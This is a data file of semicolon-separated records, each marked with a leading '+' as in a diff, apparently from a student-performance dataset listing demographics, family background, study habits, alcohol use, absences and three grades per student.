+"GP";"M";17;"U";"GT3";"T";4;3;"other";"other";"course";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";5;2;3;1;1;2;4;"10";"10";11 +"GP";"M";16;"U";"GT3";"T";4;3;"teacher";"other";"home";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";3;4;3;2;3;3;10;"9";"8";8 +"GP";"M";16;"U";"GT3";"T";3;3;"services";"other";"home";"mother";1;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";4;2;3;1;2;3;2;"12";"13";12 +"GP";"F";17;"U";"GT3";"T";2;4;"services";"services";"reputation";"father";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"no";"no";5;4;2;2;3;5;0;"16";"17";17 +"GP";"F";17;"U";"LE3";"T";3;3;"other";"other";"reputation";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";5;3;3;2;3;1;56;"9";"9";8 +"GP";"F";16;"U";"GT3";"T";3;2;"other";"other";"reputation";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";1;2;2;1;2;1;14;"12";"13";12 +"GP";"M";17;"U";"GT3";"T";3;3;"services";"services";"other";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;3;4;2;3;4;12;"12";"12";11 +"GP";"M";16;"U";"GT3";"T";1;2;"services";"services";"other";"mother";1;1;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";3;3;3;1;2;3;2;"11";"12";11 +"GP";"M";16;"U";"LE3";"T";2;1;"other";"other";"course";"mother";1;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";4;2;3;1;2;5;0;"15";"15";15 +"GP";"F";17;"U";"GT3";"A";3;3;"health";"other";"reputation";"mother";1;2;0;"no";"yes";"no";"no";"no";"yes";"yes";"yes";3;3;3;1;3;3;6;"8";"7";9 +"GP";"M";17;"R";"GT3";"T";1;2;"at_home";"other";"home";"mother";1;2;0;"no";"no";"no";"no";"yes";"yes";"no";"no";3;1;3;1;5;3;4;"8";"9";10 +"GP";"F";16;"U";"GT3";"T";2;3;"services";"services";"course";"mother";1;2;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;3;3;1;1;2;10;"11";"12";13 +"GP";"F";17;"U";"GT3";"T";1;1;"at_home";"services";"course";"mother";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";5;3;3;1;1;3;0;"8";"8";9 +"GP";"M";17;"U";"GT3";"T";1;2;"at_home";"services";"other";"other";2;2;0;"no";"no";"yes";"yes";"no";"yes";"yes";"no";4;4;4;4;5;5;12;"7";"8";8 +"GP";"M";16;"R";"GT3";"T";3;3;"services";"services";"reputation";"mother";1;1;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;2;3;4;5;8;"8";"9";10 +"GP";"M";16;"U";"GT3";"T";2;3;"other";"other";"home";"father";2;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";5;3;3;1;1;3;0;"13";"14";14 +"GP";"F";17;"U";"LE3";"T";2;4;"services";"services";"course";"father";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";4;3;2;1;1;5;0;"14";"15";15 +"GP";"M";17;"U";"GT3";"T";4;4;"services";"teacher";"home";"mother";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";5;2;3;1;2;5;4;"17";"15";16 +"GP";"M";16;"R";"LE3";"T";3;3;"teacher";"other";"home";"father";3;1;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";3;3;4;3;5;3;8;"9";"9";10 +"GP";"F";17;"U";"GT3";"T";4;4;"services";"teacher";"home";"mother";2;1;1;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;2;4;2;3;2;24;"18";"18";18 +"GP";"F";16;"U";"LE3";"T";4;4;"teacher";"teacher";"reputation";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;5;2;1;2;3;0;"9";"9";10 +"GP";"F";16;"U";"GT3";"T";4;3;"health";"other";"home";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;5;1;5;2;2;"16";"16";16 +"GP";"F";16;"U";"GT3";"T";2;3;"other";"other";"reputation";"mother";1;2;0;"yes";"yes";"yes";"yes";"yes";"yes";"no";"no";4;4;3;1;3;4;6;"8";"10";10 +"GP";"F";17;"U";"GT3";"T";1;1;"other";"other";"course";"mother";1;2;0;"no";"yes";"yes";"no";"no";"yes";"no";"no";4;4;4;1;3;1;4;"9";"9";10 +"GP";"F";17;"R";"GT3";"T";2;2;"other";"other";"reputation";"mother";1;1;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";5;3;2;1;2;3;18;"7";"6";6 +"GP";"F";16;"R";"GT3";"T";2;2;"services";"services";"reputation";"mother";2;4;0;"no";"yes";"yes";"yes";"no";"yes";"yes";"no";5;3;5;1;1;5;6;"10";"10";11 +"GP";"F";17;"U";"GT3";"T";3;4;"at_home";"services";"home";"mother";1;3;1;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;4;3;3;4;5;28;"10";"9";9 +"GP";"F";16;"U";"GT3";"A";3;1;"services";"other";"course";"mother";1;2;3;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";2;3;3;2;2;4;5;"7";"7";7 +"GP";"F";16;"U";"GT3";"T";4;3;"teacher";"other";"other";"mother";1;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";1;3;2;1;1;1;10;"11";"12";13 +"GP";"F";16;"U";"GT3";"T";1;1;"at_home";"other";"home";"mother";2;1;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";4;3;2;1;4;5;6;"9";"9";10 +"GP";"F";17;"R";"GT3";"T";4;3;"teacher";"other";"reputation";"mother";2;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;4;2;1;1;4;6;"7";"7";7 +"GP";"F";19;"U";"GT3";"T";3;3;"other";"other";"reputation";"other";1;4;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;3;1;2;3;10;"8";"8";8 +"GP";"M";17;"U";"LE3";"T";4;4;"services";"other";"home";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";5;3;5;4;5;3;13;"12";"12";13 +"GP";"F";16;"U";"GT3";"A";2;2;"other";"other";"reputation";"mother";1;2;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";3;3;4;1;1;4;0;"12";"13";14 +"GP";"M";18;"U";"GT3";"T";2;2;"services";"other";"home";"mother";1;2;1;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;4;4;2;4;5;15;"6";"7";8 +"GP";"F";17;"R";"LE3";"T";4;4;"services";"other";"other";"mother";1;1;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";5;2;1;1;2;3;12;"8";"10";10 +"GP";"F";17;"U";"LE3";"T";3;2;"other";"other";"reputation";"mother";2;2;0;"no";"no";"yes";"no";"yes";"yes";"yes";"no";4;4;4;1;3;1;2;"14";"15";15 +"GP";"F";17;"U";"GT3";"T";4;3;"other";"other";"reputation";"mother";1;2;2;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";3;4;5;2;4;1;22;"6";"6";4 +"GP";"M";18;"U";"LE3";"T";3;3;"services";"health";"home";"father";1;2;1;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";3;2;4;2;4;4;13;"6";"6";8 +"GP";"F";17;"U";"GT3";"T";2;3;"at_home";"other";"home";"father";2;1;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";3;3;3;1;4;3;3;"7";"7";8 +"GP";"F";17;"U";"GT3";"T";2;2;"at_home";"at_home";"course";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;3;1;1;4;4;"9";"10";10 +"GP";"F";17;"R";"GT3";"T";2;1;"at_home";"services";"reputation";"mother";2;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;2;5;1;2;5;2;"6";"6";6 +"GP";"F";17;"U";"GT3";"T";1;1;"at_home";"other";"reputation";"mother";1;3;1;"no";"yes";"no";"yes";"yes";"yes";"no";"yes";4;3;4;1;1;5;0;"6";"5";0 +"GP";"F";16;"U";"GT3";"T";2;3;"services";"teacher";"other";"mother";1;2;0;"yes";"no";"no";"no";"yes";"yes";"yes";"no";2;3;1;1;1;3;2;"16";"16";17 +"GP";"M";18;"U";"GT3";"T";2;2;"other";"other";"home";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";3;3;3;5;5;4;0;"12";"13";13 +"GP";"F";16;"U";"GT3";"T";4;4;"teacher";"services";"home";"mother";1;3;0;"no";"yes";"no";"yes";"no";"yes";"yes";"no";5;3;2;1;1;5;0;"13";"13";14 +"GP";"F";18;"R";"GT3";"T";3;1;"other";"other";"reputation";"mother";1;2;1;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";5;3;3;1;1;4;16;"9";"8";7 +"GP";"F";17;"U";"GT3";"T";3;2;"other";"other";"course";"mother";1;2;0;"no";"no";"no";"yes";"no";"yes";"yes";"no";5;3;4;1;3;3;10;"16";"15";15 +"GP";"M";17;"U";"LE3";"T";2;3;"services";"services";"reputation";"father";1;2;0;"no";"yes";"yes";"no";"no";"yes";"yes";"no";5;3;3;1;3;3;2;"12";"11";12 +"GP";"M";18;"U";"LE3";"T";2;1;"at_home";"other";"course";"mother";4;2;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;3;2;4;5;3;14;"10";"8";9 +"GP";"F";17;"U";"GT3";"A";2;1;"other";"other";"course";"mother";2;3;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";3;2;3;1;2;3;10;"12";"10";12 +"GP";"F";17;"U";"LE3";"T";4;3;"health";"other";"reputation";"father";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";3;2;3;1;2;3;14;"13";"13";14 +"GP";"M";17;"R";"GT3";"T";2;2;"other";"other";"course";"father";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;5;2;1;1;1;4;"11";"11";11 +"GP";"M";17;"U";"GT3";"T";4;4;"teacher";"teacher";"reputation";"mother";1;2;0;"yes";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;5;5;1;3;2;14;"11";"9";9 +"GP";"M";16;"U";"GT3";"T";4;4;"health";"other";"reputation";"father";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;2;4;2;4;1;2;"14";"13";13 +"GP";"M";16;"U";"LE3";"T";1;1;"other";"other";"home";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";3;4;2;1;1;5;18;"9";"7";6 +"GP";"M";16;"U";"GT3";"T";3;2;"at_home";"other";"reputation";"mother";2;3;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";5;3;3;1;3;2;10;"11";"9";10 +"GP";"M";17;"U";"LE3";"T";2;2;"other";"other";"home";"father";1;2;0;"no";"no";"yes";"yes";"no";"yes";"yes";"yes";4;4;2;5;5;4;4;"14";"13";13 +"GP";"F";16;"U";"GT3";"T";2;1;"other";"other";"home";"mother";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"yes";4;5;2;1;1;5;20;"13";"12";12 +"GP";"F";17;"R";"GT3";"T";2;1;"at_home";"services";"course";"mother";3;2;0;"no";"no";"no";"yes";"yes";"yes";"no";"no";2;1;1;1;1;3;2;"13";"11";11 +"GP";"M";18;"U";"GT3";"T";2;2;"other";"services";"reputation";"father";1;2;1;"no";"no";"no";"no";"yes";"no";"yes";"no";5;5;4;3;5;2;0;"7";"7";0 +"GP";"M";17;"U";"LE3";"T";4;3;"health";"other";"course";"mother";2;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";2;5;5;1;4;5;14;"12";"12";12 +"GP";"M";17;"R";"LE3";"A";4;4;"teacher";"other";"course";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";3;3;3;2;3;4;2;"10";"11";12 +"GP";"M";16;"U";"LE3";"T";4;3;"teacher";"other";"course";"mother";1;1;0;"no";"no";"no";"yes";"no";"yes";"yes";"no";5;4;5;1;1;3;0;"6";"0";0 +"GP";"M";16;"U";"GT3";"T";4;4;"services";"services";"course";"mother";1;1;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";5;3;2;1;2;5;0;"13";"12";12 +"GP";"F";18;"U";"GT3";"T";2;1;"other";"other";"course";"other";2;3;0;"no";"yes";"yes";"no";"no";"yes";"yes";"yes";4;4;4;1;1;3;0;"7";"0";0 +"GP";"M";16;"U";"GT3";"T";2;1;"other";"other";"course";"mother";3;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;3;3;1;1;4;6;"18";"18";18 +"GP";"M";17;"U";"GT3";"T";2;3;"other";"other";"course";"father";2;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";5;2;2;1;1;2;4;"12";"12";13 +"GP";"M";22;"U";"GT3";"T";3;1;"services";"services";"other";"mother";1;1;3;"no";"no";"no";"no";"no";"no";"yes";"yes";5;4;5;5;5;1;16;"6";"8";8 +"GP";"M";18;"R";"LE3";"T";3;3;"other";"services";"course";"mother";1;2;1;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";4;3;3;1;3;5;8;"3";"5";5 +"GP";"M";16;"U";"GT3";"T";0;2;"other";"other";"other";"mother";1;1;0;"no";"no";"yes";"no";"no";"yes";"yes";"no";4;3;2;2;4;5;0;"13";"15";15 +"GP";"M";18;"U";"GT3";"T";3;2;"services";"other";"course";"mother";2;1;1;"no";"no";"no";"no";"yes";"no";"yes";"no";4;4;5;2;4;5;0;"6";"8";8 +"GP";"M";16;"U";"GT3";"T";3;3;"at_home";"other";"reputation";"other";3;2;0;"yes";"yes";"no";"no";"no";"yes";"yes";"no";5;3;3;1;3;2;6;"7";"10";10 +"GP";"M";18;"U";"GT3";"T";2;1;"services";"services";"other";"mother";1;1;1;"no";"no";"no";"no";"no";"no";"yes";"no";3;2;5;2;5;5;4;"6";"9";8 +"GP";"M";16;"R";"GT3";"T";2;1;"other";"other";"course";"mother";2;1;0;"no";"no";"no";"yes";"no";"yes";"no";"no";3;3;2;1;3;3;0;"8";"9";8 +"GP";"M";17;"R";"GT3";"T";2;1;"other";"other";"course";"mother";1;1;0;"no";"no";"no";"no";"no";"yes";"yes";"no";4;4;2;2;4;5;0;"8";"12";12 +"GP";"M";17;"U";"LE3";"T";1;1;"health";"other";"course";"mother";2;1;1;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;4;4;1;2;5;2;"7";"9";8 +"GP";"F";17;"U";"LE3";"T";4;2;"teacher";"services";"reputation";"mother";1;4;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;2;3;1;1;4;6;"14";"12";13 +"GP";"M";19;"U";"LE3";"A";4;3;"services";"at_home";"reputation";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;3;1;1;1;1;12;"11";"11";11 +"GP";"M";18;"U";"GT3";"T";2;1;"other";"other";"home";"mother";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";5;2;4;1;2;4;8;"15";"14";14 +"GP";"F";17;"U";"LE3";"T";2;2;"services";"services";"course";"father";1;4;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";3;4;1;1;1;2;0;"10";"9";0 +"GP";"F";18;"U";"GT3";"T";4;3;"services";"other";"home";"father";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";3;1;2;1;3;2;21;"17";"18";18 +"GP";"M";18;"U";"GT3";"T";4;3;"teacher";"other";"course";"mother";1;2;0;"no";"yes";"yes";"no";"no";"yes";"yes";"no";4;3;2;1;1;3;2;"8";"8";8 +"GP";"M";18;"R";"GT3";"T";3;2;"other";"other";"course";"mother";1;3;0;"no";"no";"no";"yes";"no";"yes";"no";"no";5;3;2;1;1;3;1;"13";"12";12 +"GP";"F";17;"U";"GT3";"T";3;3;"other";"other";"home";"mother";1;3;0;"no";"no";"no";"yes";"no";"yes";"no";"no";3;2;3;1;1;4;4;"10";"9";9 +"GP";"F";18;"U";"GT3";"T";2;2;"at_home";"services";"home";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;3;3;1;1;3;0;"9";"10";0 +"GP";"M";18;"R";"LE3";"A";3;4;"other";"other";"reputation";"mother";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;2;5;3;4;1;13;"17";"17";17 +"GP";"M";17;"U";"GT3";"T";3;1;"services";"other";"other";"mother";1;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";5;4;4;3;4;5;2;"9";"9";10 +"GP";"F";18;"R";"GT3";"T";4;4;"teacher";"other";"reputation";"mother";2;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";4;3;4;2;2;4;8;"12";"10";11 +"GP";"M";18;"U";"GT3";"T";4;2;"health";"other";"reputation";"father";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";5;4;5;1;3;5;10;"10";"9";10 +"GP";"F";18;"R";"GT3";"T";2;1;"other";"other";"reputation";"mother";2;2;0;"no";"yes";"no";"no";"yes";"no";"yes";"yes";4;3;5;1;2;3;0;"6";"0";0 +"GP";"F";19;"U";"GT3";"T";3;3;"other";"services";"home";"other";1;2;2;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;5;3;3;5;15;"9";"9";9 +"GP";"F";18;"U";"GT3";"T";2;3;"other";"services";"reputation";"father";1;4;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;5;5;1;3;2;4;"15";"14";14 +"GP";"F";18;"U";"LE3";"T";1;1;"other";"other";"home";"mother";2;2;0;"no";"yes";"yes";"no";"no";"yes";"no";"no";4;4;3;1;1;3;2;"11";"11";11 +"GP";"M";17;"R";"GT3";"T";1;2;"at_home";"at_home";"home";"mother";1;2;0;"no";"yes";"yes";"yes";"no";"yes";"no";"yes";3;5;2;2;2;1;2;"15";"14";14 +"GP";"F";17;"U";"GT3";"T";2;4;"at_home";"health";"reputation";"mother";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;3;3;1;1;1;2;"10";"10";10 +"GP";"F";17;"U";"LE3";"T";2;2;"services";"other";"course";"mother";2;2;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;4;4;2;3;5;6;"12";"12";12 +"GP";"F";18;"R";"GT3";"A";3;2;"other";"services";"home";"mother";2;2;0;"no";"no";"no";"no";"no";"no";"yes";"yes";4;1;1;1;1;5;75;"10";"9";9 +"GP";"M";18;"U";"GT3";"T";4;4;"teacher";"services";"home";"mother";2;1;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";3;2;4;1;4;3;22;"9";"9";9 +"GP";"F";18;"U";"GT3";"T";4;4;"health";"health";"reputation";"father";1;2;1;"yes";"yes";"no";"yes";"yes";"yes";"yes";"yes";2;4;4;1;1;4;15;"9";"8";8 +"GP";"M";18;"U";"LE3";"T";4;3;"teacher";"services";"course";"mother";2;1;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";4;2;3;1;2;1;8;"10";"11";10 +"GP";"M";17;"U";"LE3";"A";4;1;"services";"other";"home";"mother";2;1;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";4;5;4;2;4;5;30;"8";"8";8 +"GP";"M";17;"U";"LE3";"A";3;2;"teacher";"services";"home";"mother";1;1;1;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;4;4;3;4;3;19;"11";"9";10 +"GP";"F";18;"R";"LE3";"T";1;1;"at_home";"other";"reputation";"mother";2;4;0;"no";"yes";"yes";"yes";"yes";"yes";"no";"no";5;2;2;1;1;3;1;"12";"12";12 +"GP";"F";18;"U";"GT3";"T";1;1;"other";"other";"home";"mother";2;2;0;"yes";"no";"no";"yes";"yes";"yes";"yes";"no";5;4;4;1;1;4;4;"8";"9";10 +"GP";"F";17;"U";"GT3";"T";2;2;"other";"other";"course";"mother";1;2;0;"no";"yes";"no";"no";"no";"yes";"yes";"no";5;4;5;1;2;5;4;"10";"9";11 +"GP";"M";17;"U";"GT3";"T";1;1;"other";"other";"reputation";"father";1;2;0;"no";"no";"yes";"no";"no";"yes";"yes";"no";4;3;3;1;2;4;2;"12";"10";11 +"GP";"F";18;"U";"GT3";"T";2;2;"at_home";"at_home";"other";"mother";1;3;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;1;2;2;5;"18";"18";19 +"GP";"F";17;"U";"GT3";"T";1;1;"services";"teacher";"reputation";"mother";1;3;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;1;1;3;6;"13";"12";12 +"GP";"M";18;"U";"GT3";"T";2;1;"services";"services";"reputation";"mother";1;3;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";4;2;4;1;3;2;6;"15";"14";14 +"GP";"M";18;"U";"LE3";"A";4;4;"teacher";"teacher";"reputation";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;4;3;1;1;2;9;"15";"13";15 +"GP";"M";18;"U";"GT3";"T";4;2;"teacher";"other";"home";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;3;2;1;4;5;11;"12";"11";11 +"GP";"F";17;"U";"GT3";"T";4;3;"health";"services";"reputation";"mother";1;3;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;2;2;1;2;3;0;"15";"15";15 +"GP";"F";18;"U";"LE3";"T";2;1;"services";"at_home";"reputation";"mother";1;2;1;"no";"no";"no";"no";"yes";"yes";"yes";"yes";5;4;3;1;1;5;12;"12";"12";13 +"GP";"F";17;"R";"LE3";"T";3;1;"services";"other";"reputation";"mother";2;4;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";3;1;2;1;1;3;6;"18";"18";18 +"GP";"M";18;"R";"LE3";"T";3;2;"services";"other";"reputation";"mother";2;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;4;2;1;1;4;8;"14";"13";14 +"GP";"M";17;"U";"GT3";"T";3;3;"health";"other";"home";"mother";1;1;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;4;3;1;3;5;4;"14";"12";11 +"GP";"F";19;"U";"GT3";"T";4;4;"health";"other";"reputation";"other";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";2;3;4;2;3;2;0;"10";"9";0 +"GP";"F";18;"U";"LE3";"T";4;3;"other";"other";"home";"other";2;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;4;5;1;2;2;10;"10";"8";8 +"GP";"F";18;"U";"GT3";"T";4;3;"other";"other";"reputation";"father";1;4;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;1;1;3;0;"14";"13";14 +"GP";"M";18;"U";"LE3";"T";4;4;"teacher";"teacher";"home";"mother";1;1;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";1;4;2;2;2;1;5;"16";"15";16 +"GP";"F";18;"U";"LE3";"A";4;4;"health";"other";"home";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";4;2;4;1;1;4;14;"12";"10";11 +"GP";"M";17;"U";"LE3";"T";4;4;"other";"teacher";"home";"father";2;1;0;"no";"no";"yes";"no";"yes";"yes";"yes";"no";4;1;1;2;2;5;0;"11";"11";10 +"GP";"F";17;"U";"GT3";"T";4;2;"other";"other";"reputation";"mother";2;3;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;1;1;3;0;"15";"12";14 +"GP";"F";17;"U";"GT3";"T";3;2;"health";"health";"reputation";"father";1;4;0;"no";"yes";"yes";"yes";"no";"yes";"yes";"no";5;2;2;1;2;5;0;"17";"17";18 +"GP";"M";19;"U";"GT3";"T";3;3;"other";"other";"home";"other";1;2;1;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;4;4;1;1;3;20;"15";"14";13 +"GP";"F";18;"U";"GT3";"T";2;4;"services";"at_home";"reputation";"other";1;2;1;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;4;3;1;1;3;8;"14";"12";12 +"GP";"M";20;"U";"GT3";"A";3;2;"services";"other";"course";"other";1;1;0;"no";"no";"no";"yes";"yes";"yes";"no";"no";5;5;3;1;1;5;0;"17";"18";18 +"GP";"M";19;"U";"GT3";"T";4;4;"teacher";"services";"reputation";"other";2;1;1;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;3;4;1;1;4;38;"8";"9";8 +"GP";"M";19;"R";"GT3";"T";3;3;"other";"services";"reputation";"father";1;2;1;"no";"no";"no";"yes";"yes";"yes";"no";"yes";4;5;3;1;2;5;0;"15";"12";12 +"GP";"F";19;"U";"LE3";"T";1;1;"at_home";"other";"reputation";"other";1;2;1;"yes";"yes";"no";"yes";"no";"yes";"yes";"no";4;4;3;1;3;3;18;"12";"10";10 +"GP";"F";19;"U";"LE3";"T";1;2;"services";"services";"home";"other";1;2;1;"no";"no";"no";"yes";"no";"yes";"no";"yes";4;2;4;2;2;3;0;"9";"9";0 +"GP";"F";19;"U";"GT3";"T";2;1;"at_home";"other";"other";"other";3;2;0;"no";"yes";"no";"no";"yes";"no";"yes";"yes";3;4;1;1;1;2;20;"14";"12";13 +"GP";"M";19;"U";"GT3";"T";1;2;"other";"services";"course";"other";1;2;1;"no";"no";"no";"no";"no";"yes";"yes";"no";4;5;2;2;2;4;3;"13";"11";11 +"GP";"F";19;"U";"LE3";"T";3;2;"services";"other";"reputation";"other";2;2;1;"no";"yes";"yes";"no";"no";"yes";"yes";"yes";4;2;2;1;2;1;22;"13";"10";11 +"GP";"F";19;"U";"GT3";"T";1;1;"at_home";"health";"home";"other";1;3;2;"no";"no";"no";"no";"no";"yes";"yes";"yes";4;1;2;1;1;3;14;"15";"13";13 +"GP";"F";19;"R";"GT3";"T";2;3;"other";"other";"reputation";"other";1;3;1;"no";"no";"no";"no";"yes";"yes";"yes";"yes";4;1;2;1;1;3;40;"13";"11";11 +"GP";"F";18;"U";"GT3";"T";2;1;"services";"other";"course";"mother";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;3;3;1;2;1;0;"8";"8";0 +"GP";"F";18;"U";"GT3";"T";4;3;"other";"other";"course";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;3;4;1;1;5;9;"9";"10";9 +"GP";"F";17;"R";"GT3";"T";3;4;"at_home";"services";"course";"father";1;3;0;"no";"yes";"yes";"yes";"no";"yes";"yes";"no";4;3;4;2;5;5;0;"11";"11";10 +"GP";"F";18;"U";"GT3";"T";4;4;"teacher";"other";"course";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;4;4;3;3;5;2;"11";"11";11 +"GP";"F";17;"U";"GT3";"A";4;3;"services";"services";"course";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";5;2;2;1;2;5;23;"13";"13";13 +"GP";"F";17;"U";"GT3";"T";2;2;"other";"other";"course";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"no";"yes";4;2;2;1;1;3;12;"11";"9";9 +"GP";"F";17;"R";"LE3";"T";2;2;"services";"services";"course";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";3;3;2;2;2;3;3;"11";"11";11 +"GP";"F";17;"U";"GT3";"T";3;1;"services";"services";"course";"father";1;3;0;"no";"yes";"no";"no";"no";"yes";"yes";"no";3;4;3;2;3;5;1;"12";"14";15 +"GP";"F";17;"U";"LE3";"T";0;2;"at_home";"at_home";"home";"father";2;3;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;3;3;2;3;2;0;"16";"15";15 +"GP";"M";18;"U";"GT3";"T";4;4;"other";"other";"course";"mother";1;3;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";4;3;3;2;2;3;3;"9";"12";11 +"GP";"M";17;"U";"GT3";"T";3;3;"other";"services";"reputation";"mother";1;1;0;"no";"no";"no";"yes";"no";"yes";"yes";"no";4;3;5;3;5;5;3;"14";"15";16 +"GP";"M";17;"R";"GT3";"T";2;2;"services";"other";"course";"mother";4;1;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;4;5;5;5;4;8;"11";"10";10 +"GP";"F";17;"U";"GT3";"T";4;4;"teacher";"services";"course";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;4;4;1;3;4;7;"10";"9";9 +"GP";"F";17;"U";"GT3";"T";4;4;"teacher";"teacher";"course";"mother";2;3;0;"no";"yes";"yes";"no";"no";"yes";"yes";"yes";4;3;3;1;2;4;4;"14";"14";14 +"GP";"M";18;"U";"LE3";"T";2;2;"other";"other";"course";"mother";1;4;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;5;5;2;4;5;2;"9";"8";8 +"GP";"F";17;"R";"GT3";"T";2;4;"at_home";"other";"course";"father";1;3;0;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";4;4;3;1;1;5;7;"12";"14";14 +"GP";"F";18;"U";"GT3";"T";3;3;"services";"services";"home";"mother";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";5;3;4;1;1;4;0;"7";"0";0 +"GP";"F";18;"U";"LE3";"T";2;2;"other";"other";"home";"other";1;2;0;"no";"no";"no";"yes";"no";"yes";"yes";"yes";4;3;3;1;1;2;0;"8";"8";0 +"GP";"F";18;"R";"GT3";"T";2;2;"at_home";"other";"course";"mother";2;4;0;"no";"no";"no";"yes";"yes";"yes";"no";"no";4;4;4;1;1;4;0;"10";"9";0 